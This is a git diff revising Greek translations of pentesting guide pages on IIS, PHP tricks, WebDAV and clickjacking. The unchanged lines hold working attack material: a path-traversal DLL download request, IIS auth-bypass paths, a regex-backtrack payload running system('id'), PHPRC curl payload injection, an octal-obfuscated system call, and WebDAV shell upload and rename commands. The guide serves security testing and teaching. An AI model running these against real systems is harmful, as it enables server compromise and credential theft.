και Web.Config** @@ -95,14 +95,14 @@ Host: example-mvc-application.minded ``` ### **Λήψη DLLs** -Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που βρίσκεται στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για τη λήψη του **WebApplication1.dll**: +Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που υπάρχει στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για λήψη του **WebApplication1.dll**: ```markup GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` Αυτό υποδηλώνει την παρουσία άλλων βασικών DLL, όπως το **System.Web.Mvc.dll** και το **System.Web.Optimization.dll**, στον φάκελο /bin. -Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία μιας άλλης DLL, **WebApplication1.AdditionalFeatures.dll**. +Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία άλλης DLL, **WebApplication1.AdditionalFeatures.dll**. ### Κοινά αρχεία @@ -192,14 +192,14 @@ C:\xampp\tomcat\conf\server.xml Σημαίνει ότι ο διακομιστής **δεν έλαβε το σωστό όνομα τομέα** μέσα στην κεφαλίδα Host.\ Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να ρίξετε μια ματιά στο **SSL Certificate** που εξυπηρετείται και ίσως να βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν είναι εκεί, ίσως χρειαστεί να **brute force VHosts** μέχρι να βρείτε το σωστό. -## Παλιές ευπάθειες IIS που αξίζει να αναζητήσετε +## Old IIS vulnerabilities worth looking for ### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure -Μπορείτε να προσπαθήσετε να **enumerate folders and files** μέσα σε κάθε ανακαλυφθέν φάκελο (ακόμα και αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την **τεχνική**.\ +Μπορείτε να προσπαθήσετε να **καταγράψετε φακέλους και αρχεία** μέσα σε κάθε ανακαλυφθέντα φάκελο (ακόμα και αν απαιτεί Βασική Αυθεντικοποίηση) χρησιμοποιώντας αυτή την **τεχνική**.\ Ο κύριος περιορισμός αυτής της τεχνικής αν ο διακομιστής είναι ευάλωτος είναι ότι **μπορεί να βρει μόνο μέχρι τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης** των αρχείων. -Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../images/image (844).png>) @@ -213,7 +213,7 @@ C:\xampp\tomcat\conf\server.xml **Bypass** μιας βασικής αυθεντικοποίησης (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php` -Μπορείτε να προσπαθήσετε να **μείξετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **bypass** την αυθεντικοποίηση. +Μπορείτε να προσπαθήσετε να **συνδυάσετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **παρακάμψετε** την αυθεντικοποίηση. ## ASP.NET Trace.AXD enabled debugging @@ -221,7 +221,7 @@ C:\xampp\tomcat\conf\server.xml Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτημάτων που έγιναν σε μια εφαρμογή κατά τη διάρκεια μιας περιόδου. -Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήσεων και απαντήσεων, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης. +Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήματος και απάντησης, φυσικές διαδρομές, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης. [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) @@ -241,7 +241,7 @@ C:\xampp\tomcat\conf\server.xml ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου το **password hash χτυπά ένα κλειδί** που είναι ήδη στην **cache** θα μπορεί να συνδεθεί ως αυτός ο χρήστης. +[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου **ο κατακερματισμένος κωδικός πρόσβασης χτυπά ένα κλειδί** που είναι ήδη στην **κρυφή μνήμη** θα μπορεί να συνδεθεί ως αυτός ο χρήστης. ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 8df06a943..892dbdb87 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### Χαλαρές συγκρίσεις/Τύποι Juggling ( == ) -Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόβλεπτες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`. +Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόβλεπτες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τις τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`. Πίνακες συγκρίσεων PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) @@ -43,7 +43,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf ### **in_array()** -**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε αυστηρή σύγκριση): +**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε μια αυστηρή σύγκριση): ```php $values = array("apple","orange","pear","grape"); var_dump(in_array(0, $values)); @@ -60,11 +60,11 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` -Η ίδια σφάλμα συμβαίνει με το `strcasecmp()` +Το ίδιο σφάλμα συμβαίνει με το `strcasecmp()` ### Αυστηρός τύπος Juggling -Ακόμα και αν το `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**: +Ακόμα και αν το `===` **χρησιμοποιείται**, μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -Για να παρακάμψετε αυτόν τον έλεγχο, μπορείτε να **στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**: +Για να παρακάμψετε αυτήν την έλεγχο, μπορείτε να **στείλετε την τιμή με νέες γραμμές urlencoded** (`%0A`) ή αν μπορείτε να στείλετε **δεδομένα JSON**, στείλτε τα σε **πολλές γραμμές**: ```php { "cmd": "cat /etc/passwd" @@ -115,11 +115,12 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- [Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\ **Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system()}` για να αποκτήσουμε SSTI --> RCE --> flag :)**. -Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω): +Λοιπόν, με όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ +Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Type Juggling για την απόκρυψη PHP +### Type Juggling για την παραπλάνηση PHP ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -152,9 +153,9 @@ Check: ## More tricks -- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την αποκτήσετε μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα. -- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να αποκτά πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\ -Με αυτόν τον τρόπο αν **και οι δύο διαδρομές αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2). +- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα. +- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\ +Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2). - Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι. - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) @@ -184,7 +185,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; #### Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων Αν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\ -Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη): +Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη): ![](<../../../images/image (1085).png>) @@ -199,7 +200,7 @@ php-ssrf.md ## Εκτέλεση κώδικα **system("ls");**\ -&#xNAN;**\`ls\`;**\ +**\`ls\`;**\ **shell_exec("ls");** [Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html) @@ -266,22 +267,22 @@ usort();}phpinfo;#, "cmp"); ### **RCE μέσω .httaccess** -Εάν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**). +Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**). -Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells) +Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells) ### RCE μέσω Env Variables -Εάν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables σε PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**. +Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει). -- **`PHPRC`** : Δίνει οδηγίες στην PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Εάν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στην PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα. -1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας -2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1 +- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στο PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που να καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα. +1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικά μας +2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1 3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2. - Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - άλλη επιλογή -- Εάν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`: +- Αν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Ή για να αποκτήσετε RCE, ενεργοποιήστε το **`allow_url_include`** και προσθέστε ένα αρχείο με **base64 PHP κώδικα**: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` @@ -349,19 +350,19 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE abusing new $\_GET\["a"]\($\_GET\["b") +## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b") -Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, έλεγξε την παρακάτω σελίδα για να μάθεις πώς: +Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} -## Execute PHP without letters +## Εκτέλεση PHP χωρίς γράμματα [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) -### Using octal +### Χρησιμοποιώντας οκταδικούς αριθμούς ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 03be834ff..2031879a6 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -8,7 +8,7 @@ Για να ξεπεράσετε περιορισμούς στην ανάρτηση αρχείων, ειδικά εκείνους που αποτρέπουν την εκτέλεση server-side scripts, μπορείτε να: -- **Ανεβάσετε** αρχεία με **εκτελέσιμες επεκτάσεις** απευθείας αν δεν περιορίζονται. +- **Ανεβάσετε** αρχεία με **εκτελέσιμες επεκτάσεις** απευθείας αν δεν υπάρχουν περιορισμοί. - **Μετονομάσετε** τα ανεβασμένα μη εκτελέσιμα αρχεία (όπως .txt) σε εκτελέσιμη επέκταση. - **Αντιγράψετε** τα ανεβασμένα μη εκτελέσιμα αρχεία, αλλάζοντας την επέκτασή τους σε μία που είναι εκτελέσιμη. @@ -25,30 +25,30 @@ davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every ## Cadaver -Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να **συνδεθείτε στον WebDav** διακομιστή και να εκτελέσετε ενέργειες (όπως **ανέβασμα**, **μετακίνηση** ή **διαγραφή**) **χειροκίνητα**. +Μπορείτε να χρησιμοποιήσετε αυτό το εργαλείο για να **συνδεθείτε στον διακομιστή WebDav** και να εκτελέσετε ενέργειες (όπως **ανέβασμα**, **μετακίνηση** ή **διαγραφή**) **χειροκίνητα**. ``` cadaver ``` -## Αίτημα PUT +## PUT αίτημα ``` curl -T 'shell.txt' 'http://$ip' ``` -## Αίτημα MOVE +## MOVE request ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability -Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το **WebDav** **δεν επιτρέπει** να **ανεβάσετε** ή να **μετονομάσετε** αρχεία με την επέκταση **.asp**. Αλλά μπορείτε να **παρακάμψετε** αυτό **προσθέτοντας** στο τέλος του ονόματος **";.txt"** και το αρχείο θα **εκτελείται** σαν να ήταν αρχείο .asp (μπορείτε επίσης να **χρησιμοποιήσετε ".html" αντί για ".txt"** αλλά **ΜΗΝ ξεχάσετε το ";"**). +Αυτή η ευπάθεια είναι πολύ ενδιαφέρουσα. Το **WebDav** δεν **επιτρέπει** να **ανεβάσετε** ή να **μετονομάσετε** αρχεία με την επέκταση **.asp**. Αλλά μπορείτε να **παρακάμψετε** αυτό **προσθέτοντας** στο τέλος του ονόματος **";.txt"** και το αρχείο θα **εκτελείται** σαν να ήταν αρχείο .asp (μπορείτε επίσης να **χρησιμοποιήσετε ".html" αντί για ".txt"** αλλά **ΜΗΝ ξεχάσετε το ";"**). -Έτσι μπορείτε να **ανεβάσετε** το shell σας ως αρχείο ".**txt"** και να **αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt"**. Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα **εκτελείται** (το cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε). +Στη συνέχεια, μπορείτε να **ανεβάσετε** το shell σας ως αρχείο ".**txt"** και να **αντιγράψετε/μετακινήσετε το σε ένα αρχείο ".asp;.txt"**. Όταν αποκτήσετε πρόσβαση σε αυτό το αρχείο μέσω του web server, θα **εκτελείται** (ο cadaver θα πει ότι η ενέργεια μεταφοράς δεν λειτούργησε, αλλά λειτούργησε). ![](<../../images/image (1092).png>) ## Post credentials Αν το Webdav χρησιμοποιούσε έναν Apache server, θα πρέπει να κοιτάξετε τις ρυθμισμένες τοποθεσίες στον Apache. Συνήθως:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +\_**/etc/apache2/sites-enabled/000-default**_ Μέσα σε αυτό μπορείτε να βρείτε κάτι σαν: ``` @@ -61,13 +61,13 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα **credentials** για τον **webdav** διακομιστή: +Όπως μπορείτε να δείτε, υπάρχουν τα αρχεία με τα έγκυρα **credentials** για τον **webdav** server: ``` /etc/apache2/users.password ``` -Μέσα σε αυτούς τους τύπους αρχείων θα βρείτε το **username** και ένα **hash** του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιεί τους χρήστες. +Μέσα σε αυτόν τον τύπο αρχείων θα βρείτε το **username** και ένα **hash** του κωδικού πρόσβασης. Αυτά είναι τα διαπιστευτήρια που χρησιμοποιεί ο διακομιστής webdav για να πιστοποιεί τους χρήστες. -Μπορείτε να προσπαθήσετε να **crack** τα διαπιστευτήρια, ή να **add more** αν για κάποιο λόγο θέλετε να **access** τον διακομιστή **webdav**: +Μπορείτε να προσπαθήσετε να **crack** τα διαπιστευτήρια, ή να **προσθέσετε περισσότερα** αν για κάποιο λόγο θέλετε να **access** τον διακομιστή **webdav**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 61265c852..7a2e372c8 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -2,19 +2,19 @@ {{#include ../banners/hacktricks-training.md}} -## Τι είναι το Clickjacking +## What is Clickjacking -Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** μιας ιστοσελίδας που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων. +Σε μια επίθεση clickjacking, ένας **χρήστης** **παραπλανάται** να **κλικάρει** σε ένα **στοιχείο** σε μια ιστοσελίδα που είναι είτε **αόρατο** είτε μεταμφιεσμένο ως διαφορετικό στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε απρόβλεπτες συνέπειες για τον χρήστη, όπως η λήψη κακόβουλου λογισμικού, ανακατεύθυνση σε κακόβουλες ιστοσελίδες, παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η διαδικτυακή αγορά προϊόντων. -### Τέχνασμα 